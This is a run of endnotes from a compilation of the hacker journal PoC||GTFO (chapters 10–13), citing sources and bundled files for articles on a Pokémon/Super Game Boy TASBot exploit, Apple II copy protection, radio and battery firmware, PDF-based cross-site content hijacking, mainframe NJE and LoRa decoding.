and the marathon as a whole raised more than $1.5M toward
cancer research, making this project a huge success on multiple
levels.



4 In brief, the detection routine is extremely sensitive to how many
DMG clock cycles various operations take; the emulator is likely
slightly inaccurate, which causes the detection to fail, but from
looking at the behavior it seems like it “just works” on the real
hardware. This is sheer luck, and the game developers likely never
even knew it was so fragile.

5 If the SGB BIOS does not find the special codes in the DMG game
header that indicate it’s an SGB-enabled game ($146 equal to $03), it
locks up the command channel until the game is reset, rendering
any SGB based exploitation impossible. See
http://gbdev.gg8.se/wiki/articles/The_Cartridge_Header for more details.

6 unzip -j pocorgtfo10.pdf pokemon_plays_twitch/pokered-master.zip
7 The term “bot” was originally used because it’s as if you have a

robot playing the game for you; DwangoAC later attached one of
these replay devices to a R.O.B. robot as shown in Figure 10.1 and
after presenting Pong and Snake on SMW, the name TASBot
came to be associated with the combination as described at
http://tasvideos.org/TASBot.

8 A way of crowdsourcing gameplay by parsing commands sent over
IRC.

9 As with many exploits, the seed for this came from Bortreb’s
Pokémon Yellow exploit, which itself came from earlier
discoveries of others. Masterjun adapted the exploit for Pokémon
Red using the BizHawk DMG emulator and DwangoAC took this
information and made the Stage 0 and Stage 1 movie file in
LSNES.

10 The same values can be found in the GBWRAM region at an offset
of -0xC000, so the value for 0xD163 in GBBUS (which isn’t visible in the
LSNES memory editor) can instead be found at 0x1163 in
GBWRAM. GBBUS addressing is used throughout for consistency
with existing resources such as the pokered disassembly.

11 This means the Pokémon data now extends past end of WRAM, and
in fact the WRAM should in effect loop around, although this isn’t



used.
12 The swap where j. is swapped with j. involves the pairs 00 00 and 00 F4,

but they turn into 00 63 and 00 91 because we abuse the fact that the
game assumes a quantity of 00 is the same as FF and you can only
have ninety-nine of any given item in one slot. This results in FF + F4
= 1F3 which is larger than the sum mod 255, at which point the game
stores 63 in one item and 190 mod FF = 91 is stored as the remainder
in the other.

13 There is no working way to ADD the two reads because we can’t write
that opcode. Due to byte restrictions, we can’t use JP either, but CALL
is close enough. See page 159.

14 This has implications even outside of TAS’ing: If you hold a button
for a single frame you risk that input being lost (if the previous
frame had no buttons being pressed, that single frame’s press could
be overwritten with the no buttons pressed frame from before) or
your buttons could be held for an extra frame (even though you let
go, you hit right before the skew so your buttons are sent for an
additional frame). Both of these behaviors could cause a talented
realtime player to question their abilities as they wouldn’t have any
idea that the console had been the cause of their input being wrong.



15 The movie we used was 2(prologue) + 5(banksetting) + 6(packetsend)
+ 5(packetsend) + 1(nop-for-slip) + 2(hang) + 11(packet1) +
7(packet2) + 2(unused) + 2(epilogue) = 43 bytes. We later discovered
a different method where the smallest possible extended payload
would have been 2(prologue) + 5(banksetting) + 6(packetsend) +
2(hang) + 13(packet) + 2(epilogue) = 30 bytes which is still too much
to input without a slip due to our data rate being restricted to one
nybble at a time, although the packet data’s 0x00 portion could
potentially be used for this purpose.



16 It could be possible to use just one, by putting the NMI routine in a
memory-mapped SGB packet register, but we decided not to, as we
would need full exploit abilities just to test if this method actually
works because the emulator isn’t accurate enough to test with.

17 Each blind test took five minutes, as we had to play back the entire
movie before reaching the point where we could determine if it
worked and we weren’t entirely certain it would work at all, but
eventually we discovered the correct offset.

18 Based on the setting of a flags register bit that selects between an 8-
bit and 16-bit A registers.

19 We considered putting the NMI code into the SGB packet receive
buffer, which is a memory-mapped I/O register (and presumably
can be executed by the CPU). We decided against this since the
SGB emulation in BSNES is quite questionable and we didn’t
know if it would work, largely due to the difficulty of testing it.

20 It’s not a surprise that it behaves differently in the emulator, as the
SGB emulation accuracy in BSNES is questionable in a lot of
places; it’s possible that the emulator is triggered on a different
edge of the clock than real hardware or something similar.
Regardless, on real hardware the DMG eventually crashes in a way
that makes it stop producing sound and while it’s about the
equivalent of driving a car into a brick wall instead of hitting the
brakes it at least gets the job done.

21 git clone https://github.com/TheAxeMan301/PptIrcBot
22 Pokémon Plays Twitch: How a Robot got IRC Running on an

Unmodified SNES by Kyle Orland.
23 http://tasvideos.org/4947S.html
24 unzip -j pocorgtfo10.pdf pokemon_plays_twitch/sgbhowto.pdf



25 unzip pocorgtfo10.zip esp8266-arm-swd.zip
26 git clone https://github.com/scanlime/esp8266-arm-swd/
27 The mutant fish baby thing is kind of true according to

developmental biology, but that’s not really our focus today.
28 unzip pocorgtfo10.pdf pregpatent.pdf
29 http://pferrie.host22.com/misc/lowlevel14.htm, PoCǁGTFO 4:4.
30 http://pferrie.host22.com/misc/lowlevel15.htm
31 http://pferrie.host22.com/misc/lowlevel16.htm
32 http://www.hackzapple.com/phpBB2/viewtopic.php?t=952
33 https://archive.org/details/apple_ii_library_4am
34 http://infocom.elsewhere.org/gallery/starcross/starcross-map.gif
35 http://gallery.guetech.org/spellbreaker/spellbreaker.html
36 http://infodoc.plover.net/manuals/temp/borderzo.pdf
37 This is why the minimum instruction execution time is two cycles:

one for the instruction itself, one for the prefetch.
38 The Shugart SA400 on which the Disk ][ controller is based does

have this capability via index detector circuits, but that feature was



removed from the Disk ][ controller to reduce the cost to
manufacture it.

39 This is a requirement if the data field can be written independently
of its address field. Since the write is not guaranteed to begin on a
byte boundary, the self-synchronizing values are required for the
controller to synchronize itself when reading the data again.

40 As opposed to reading the sectors in sequential order, and then
writing the entire track—that would only make it a sector-copier
with a faster write routine.

41 A sector-copier can use the collection of sectors as a basic track
length; the bit-copier has no such luxury. Instead, it is left to
“guess,” and might be forced to discard or insert additional data to
reconstruct a track of the same length. The difference occurs when
the rotation speed of the drive that is being used to make the copy
is not the same as that of the drive that was used to make the
original.

42 See John’s comment at September 3rd, 2015 12:12 pm on
http://www.bigmessowires.com/2015/08/27/apple-ii-copy-protection/

43 It also ignores the address field checksum and volume number.
44 This would be the equivalent of about 18.5 256-byte sectors in 6-

and-2 encoding. Using 19 sectors is possible, if the full range of
values from the first figure is used, but it introduces a problem to
identify the start of the sector, since there are no single values that
can be reserved exclusively. One possible solution is to find a
sequence which cannot appear in user-data due to particular
characteristics of the decoding process. Just because it is possible, it
doesn’t mean that it’s easy.

45 The same is true for the track number, and Jumble Jet has multiple
tracks which claim to be track zero.

46 The same is true for the track number. That is, a number which is
not in the range of zero to 34.

47 That is, it polls the QA switch of the Data Register while the top bit
is clear, stores the fetched value, and then resumes polling.



48 Interestingly, one title from Thunder Mountain and released in the
same year is known to use the regular version. It is entirely possible
that the alternative version was developed in-house to avoid paying
royalties to protect other products.

49 http://pferrie.host22.com/misc/0boot.zip
50 http://pferrie.host22.com/misc/qboot.zip
51 Personal communication
52 FFA was founded by the co-founder of Automated Simulations,

whose last name begins with “Free,” and a programmer whose last
name ends with “Fall.”

53 Personal communication
54 This was claimed by a cracker whose crack-screens were displayed

only by pressing a particular key-sequence during the boot. They
were known as “Hidden Pages.” (Imagine that—a cracker who
didn’t want to brag openly!) Both of the programs Captain
Goodnight and Where In The World Is Carmen Sandiego (first
release) use alternating quarter-tracks the same technique as in the
program Championship Lode Runner. (The former two were
released within a year of the latter one.) The sectors are placed in a
N/S/E/W orientation on the first two tracks, a NW/SE/NE/SW
orientation on the next two tracks, and then back to the N/S/E/W
orientation on the next two tracks, and so on. The loader will allow
an entire revolution to pass, if necessary, in order to find the
requested sector. The tracks are synchronized, however, because
they must be to avoid cross-talk. (§10:7.3.)

55 http://pferrie.host22.com/misc/aplibunp.zip
56 http://pferrie.host22.com/misc/lz4unp.zip
57 git clone https://github.com/fadden/fhpack



58 This is true only when the full warm-start vector is not #$00 #$E0 #$45
($E000 and #$45). If the vector is $E000 and #$45, then the cold-start
handler will change it to $E003, and resume execution from $E000.
This behavior could have been used as an indirect transfer of
control on the Apple ][+, by jumping back to the cold-start handler,
which would look like an infinite loop, but it would actually
resume execution from $E003.

59 Pre-Autostart ROMs simply dumped the register values to the
screen, then dropped to the monitor prompt.

60 #from Proceedings of the 20th Usenix Security Symposium in 2011 unzip
pocorgtfo10.pdf p25sec.pdf

61 The folks at Connect Systems are nice and neighborly, so please buy
a radio from them.

62 In particular, I used r543 of the old SVN repository from 4 July
2012.

63 See PoCǁGTFO 2:5.
64 Transfers this large work on Mac but not Linux.
65 The MD5 of my bootloader image is 721df1f98425b66954da8be58c7e5d55, but

you might have a different one in your radio.
66 Confusingly enough, this is the third implementation of DFU for

this project! The radio application, the recovery bootloader, and
the ROM bootloader all implement different variants of DFU.
Take care not to confuse the them.

67 unzip pocorgtfo10.pdf hrc5000.pdf
68 ETSI TS 102 361, Parts 1 to 4.
69 In assembly, this looks like LSLS r0, r0, #8; LSRS r0, r0, #8.
70 Two days of scanning presented nothing more interesting than a

damaged elevator and an undergrad too drunk to remember his
dorm room keys. Almost gives me some sympathy for those poor
bastards who have to listen to wiretaps.

11 Welcoming Shores of the Great Unknown



1 If you RTFP, you’ll note that the Apple batteries have a separate
BQ29312 Analog Frontend (AFE) to protect against such
nonsense, as well as a Matsushita MU092X in case the BQ29312
isn’t sufficient.

2 One time, my Studebaker ran out of gas on the highway. Maybe we
should start a support group?

3 unzip pocorgtfo11.pdf batteryfirmware.pdf
4 unzip pocorgtfo11.pdf sluu225.pdf
5 unzip pocorgtfo11.pdf bq20z80.py
6 Remember, though, that redemption is for everyone, and that one

day you may find a strange and radiant machine you will treasure
for the cleverness of its mechanisms, no matter if others call it
junk. On that day we will welcome you back in the spirit of PoC!

7 git clone https://github.com/osresearch/vst unzip pocorgtfo11.pdf vst.tar.bz2
8 unzip pocorgtfo11.pdf tronsolitare.zip
9 Thumb2 instructions run from Thumb mode. The only thing new

about them is that they can be longer than 16 bits, so your
disassembler might be slightly confused about their starting
position.

10 git clone https://github.com/radare/radare2
11 Here are the rules: Increment by two if registers r0 or r1, or if r4-r15

are used with a .W (2-byte) operand. Increment by 1 if r4 to r15 are
used with a .B operand.

12 Global disable is done by clearing the GIE bit of the status register, r2.



13 If not, use a command like msp430-objcopy -I ihex -O elf32-msp430 dump.hex
dump.msp430 to convert from Intel Hex.

14 Page 23 of http://www.ti.com/lit/ds/symlink/msp430f1611.pdf
15 https://pdfium.googlesource.com/pdfium/

12 Collecting Bottles of Broken Things

1 Cf. Paul Erhlich, “The Population Bomb,” 1968, p. xi, which begins
with “The battle to feed all of humanity is over. In the 1970s
hundreds of millions of people will starve to death in spite of any
crash programs embarked upon now. At this late date nothing can
prevent a substantial increase in the world death rate. . . ” The
1975 edition amended “the 1970s” to “the 1970s and 1980s,” but—
as the newer and more fashionable kinds of school math teach us
—never mind the numbers, the idea is the important thing!

2 Oops, that one was a quote, too. No wonder that story was a best-
seller!

3 Ibid., p. xiii.
4 If you think that the “non-renewable computation” argument makes

no sense, you are absolutely right! But, do the arguments for
“golden keys” in cryptography or for “regulating exploits” make
any more sense? No, and they sound just as scientific to those
inclined to believe that actual experts have, in fact, been consulted.
And sometimes they even have been, for a certain definition of
experts.

5 unzip pocorgtfo12.pdf zwave.tar.bz2
6 MSDN, MIME Type Detection in Windows Internet Explorer
7 Chris Evans, Generic Cross-browser Cross-domain Theft
8 Filedescriptor, Cross-origin CSS Attacks Revisited (feat. UTF-16)
9 OWASP, Secure Headers Project

10 HTML5 Standard



11 Michele Spagnuolo, Abusing JSONP with Rosetta Flash, PoCǁGTFO
5:11.

12 Gábor Molnár, Bypassing Same Origin Policy With JSONP APIs and

Flash
13 Alex Inführ @insertscript, PoC for the FormCalc content exfiltration
14 unzip pocorgtfo12.pdf CommaChameleon/CrossSiteContentHijacking
15 Soroush Dalili, JS-instrumented content exfiltration PoC
16 Adobe, Cross-scripting PDF content in an Adobe AIR application
17 Adobe, JavaScript for Acrobat API Reference
18 unzip pocorgtfo12.pdf CommaChameleon/xfa.zip
19 John Brinkman, Calling FormCalc Functions From JavaScript
20 unzip pocorgtfo12.pdf CommaChameleon
21 Chromium Blog, The Final Countdown for NPAPI
22 Mozilla Security Blog, Putting Users in Control of Plugins
23 Adobe, Portable Document Format ISO standard, Section 12.7.7
24 Adobe, XML Forms Data Format Specification
25 Adobe, Acrobat Application Security Guide, 4.5.1
26 Vladimir Vorontsov, SDRF Vulnerability in Web Applications and

Browsers
27 Alex Inführ, PDF—Mess With the Web
28 git clone https://github.com/angea/corkami
29 Perhaps it is necessary to specify, Turing-complete architecture.
30 See The Page-Fault Weird Machine: Lessons in Instruction-less

Computation by Julian Bangert et al., USENIX WOOT’13 or the
29C3 talk “The Page Fault Liberation Army or Gained in
Translation” by Bangert & Bratus

31 movcc -Wf–no-mov-loop program.c -o program
32 git clone https://github.com/xoreaxeaxeax/reducto
33 unzip pocorgtfol2.pdf reducto.tgz



34 Mainframe experts, this is a very high level discussion. Please don’t
beat me up about various dataset types!

MAINTENANCE ROOM

THIS IS WHAT APPEARS TO HAVE BEEN THE MAINTENANCE ROOM

FOR FLOOD CONTROL DAM #3. APPARENTLY, THIS ROOM HAS

BEEN RANSACKED RECENTLY, FOR MOST OF THE VALUABLE

EQUIPMENT IS GONE. ON THE WALL IN FRONT OF YOU IS A

GROUP OF BUTTONS, WHICH ARE LABELLED IN EBCDIC.

35 http://www.tutorialspoint.com/jcl/jcl_job_statement.htm
36 See page 189 of has2a620.pdf.
37 See page 13 of has2a620.pdf.
38 See page 194 of has2a620.pdf.
39 See page 111 of has2a620.pdf.
40 See page 119 of has2a620.pdf.
41 See page 122 of has2a620.pdf.
42 See page 124 of has2a620.pdf.
43 See page 125 of has2a620.pdf.



44 See page 123 of has2a620.pdf.
45 See page 102 of has2a620.pdf.
46 See page 19 of has2a620.pdf.
47 See page 38 of has2a620.pdf.
48 https://nmap.org/nsedoc/scripts/nje-node-brute.html unzip pocorgtfo12.pdf nje-node-

brute.nse

49 git clone https://github.com/zedsec390/NJElib
50 You will note this is irrelevant, due to the nature of wait any.
51 This is especially hard on Windows 8.1, and even harder on

Windows 10.
52 Windows lists are circular, not null terminated.
53 unzip pocorgtfol2.pdf vimmmex.tar.gz git clone

https://github.com/xoreaxeaxeax/vimmmex

54 This has been solved in time for the electronic release. Use the
Force to unravel its secrets. . . You may even propagate it
neighbourly by Near Force Communication, in which case
Padawans have first to accept APKs from unknown sources.

13 Stones from the Ivory Tower, Only as Ballast

1 Geoff was the first to discover Aaron R. Reynolds’ “AARD” code
from the beta release of Windows 3.1 that intentionally broke
compatibility with DR-DOS. He also has a delightful article on
exactly how AOL exploited a buffer overflow in their own AOL
Instant Messenger client to distinguish it from Microsoft’s clone,
MSN Messenger.

2 “Is That Just Some Game? No, It’s a Cultural Artifact.” Heather
Chaplin, The New York Times, March 12, 2007.

3 In the movie TERMINATOR (1984) there are scenes showing the
Terminator’s point of view in shades of red. In these scenes lines of
source code are listed onscreen. Close inspection of still frames of
the movie reveal this to be 6502 assembly language source code.



4 git clone https://github.com/lwiest/StarRaiders unzip pocorgtfol3.pdf
StarRaiders.zip

5 Colors are, of course, poorly represented when printed in black and white.

Please use your imagination and the fill textures on page 614 instead. —
PML

6 This substitution gave a friendly mathematician who happened to see it a

nasty shock. She yelled at us that cos2 x + sin2 x = 1 for all real x and

forever, and therefore this could not possibly be a rotation; it’s a rotation

with a stretch! We reminded her of the old joke that in wartime the value

of the cosine has been known to reach 4. —PML
7 Incidentally, the column vectors of this matrix do not form an

orthogonal basis, as their scalar product is 1×e+(–e×(1–e2)) = –e2.
Orthogonality holds for e = 0 only.

8 unzip pocorgtfo13.pdf AIM-239.pdf #Item 149, page 73.
9 https://archive.org/details/AtariStarRaidersSourceCode unzip pocorgtfol3.pdf

StarRaidersOrig.pdf

10 The Atari BASIC Source Book by Wilkinson, O’Brien, and
Laughton. A COMPUTE! publication.

11 git clone https://github.com/lwiest/Atari6502Assembler unzip pocorgtfo13.pdf
Atari6502Assembler.zip

12 It isn’t actually called by ObpLookupObjectName, but that doesn’t matter.
13 unzip pocorgtfo13.pdf object_manager_lookup_poc.cs



14 unzip pocorgtfo13.pdf meat.txt
15 git clone https://github.com/scanlime/facewhisperer unzip pocorgtfo13.pdf

facewhisperer.tar.bz2

16 git clone https://github.com/scanlime/cte450-homebrew/ unzip pocorgtfo13.pdf
cte450-homebrew.tar.bz2

17 git clone https://github.com/szechyjs/dsd
18 -Xlinker –section-start=.experiment=0x0800C000
19 git clone https://github.com/endrazine/wcc unzip pocorgtfol3.pdf wcc.tar.bz2
20 git clone https://github.com/travisgoodspeed/md380tools
21 $ grep ‘^.\{6\}$’ /usr/share/dict/words | tr ‘[:upper:]’ ‘[:lower:]’ | sed

’s/[abc]/2/g; s/[def]/3/g; s/[ghi]/4/g; s/[jkl]/5/g; s/[mno]/6/g; s/[pqrs]/7/g;

s/[tuv]/8/g; s/[wxyz]/9/g’ | sort | uniq | wc -l

22 LoRaWan in the IoT Industrial Panel, presentation by Jun Wen of
Cisco.



23 Semtech AN1200.18, AN1200.22.
24 Decoding LoRa on the RevSpace Wiki
25 See Semtech AN1200.22.
26 It may be possible to do this using FM demodulation rather than

FFTs, however using FFTs preserves power information that is
useful for framing the packet without knowing its definitive length.

27 European Patent #13154071.8/EP20130154071
28 Manchester’s effective bit rate is half the baud rate.

29 git clone https://github.com/BastilleResearch/gr-lora unzip pocorgtfo13.pdf gr-
lora.tar.bz2

30 For those of you fortunate to own a house, it’s probably in the
corner of your basement, that magical place from which all science
and innovation springs forth.

31 Lakatos the philosopher is considered to be a great intellectual
authority. For what it’s worth, you might also want to read about
how he applied his philosophy in real life: unzip pocorgtfo13
freudenthal.pdf

32 We sort of know the answer, neighbors: a roller coaster of reforms
and unintelligible standards created a generation of math teachers
for whom math did not have to make sense. unzip pocorgtfo13.pdf wu-



preparing-teachers.pdf and read it. It may apply to whatever else you
hold dear.

33 According to Ronald J. Daniels, President of Baltimore’s Johns
Hopkins University, no less than the whole generation is at risk: “A
generation at risk: Young investigators and the future of the
biomedical workforce.” (unzip pocorgtfo13.pdf atrisk.pdf.) For more of
this, read “Science in the Age of Selfies” by Donald Geman, Stuart
Geman. (selfies.pdf.) It’s hard to make these things up, neighbors.

34 https://technet.microsoft.com/library/bb457032.aspx
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